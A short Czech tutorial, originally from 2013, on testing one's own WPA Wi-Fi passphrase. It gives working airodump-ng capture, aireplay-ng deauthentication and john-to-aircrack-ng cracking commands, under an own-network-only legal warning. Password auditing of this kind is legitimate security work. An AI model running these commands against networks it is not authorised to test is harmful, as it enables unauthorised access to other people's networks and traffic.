WARNING Jen na vlastní síti. Tohle ověří, jestli by vaše Wi-Fi heslo obstálo. Provádět to na síti, kterou nevlastníte nebo nespravujete, je ve většině zemí nezákonné – nedělejte to.
Princip je jednoduchý: zachytit WPA handshake vlastního přístupového bodu a offline otestovat, jestli slabá passphrase rychle padne. Pokud ano, změnit ji.
možná zastaralé Od zveřejnění uplynuly víc než dva roky. Obsah nemusí platit.
Označení
-
$NIC– monitorovací rozhraní; -
$BSSID– MAC vašeho přístupového bodu; -
$CLIENTMAC– MAC zařízení, které je už k vaší síti připojené; -
$FILE– prefix názvu souboru (např. SSID).
1. Najít přístupový bod
airodump-ng $NIC
2. Zachytit handshake
airodump-ng $NIC --channel N --bssid $BSSID -w $FILE
Handshake se zachytí, když se zařízení připojí nebo znovu připojí. Jedno z vlastních zařízení jde k opětovnému připojení pobídnout:
aireplay-ng -0 4 -a $BSSID -c $CLIENTMAC $NIC
3. Otestovat passphrase offline
Kandidátní hesla z John the Ripper poslat do aircrack-ng:
john --stdout --incremental:all | aircrack-ng -b $BSSID -w - $FILE.cap
Mezera před názvem souboru (-w - $FILE.cap) je povinná.
Poznámky
- Zastavit
Ctrl+Ca pokračovat se zachovaným postupem:
john --restore | aircrack-ng -b $BSSID -w - $FILE.cap
- John ukládá postup do
john.reczhruba každých 10 minut. - Co výsledek znamená: pokud se slabá passphrase najde rychle, právě o to jde – nahradit ji dlouhou a náhodnou. Dobrá passphrase takhle padnout nemá.
_Původně publikováno v angličtině v lednu 2013._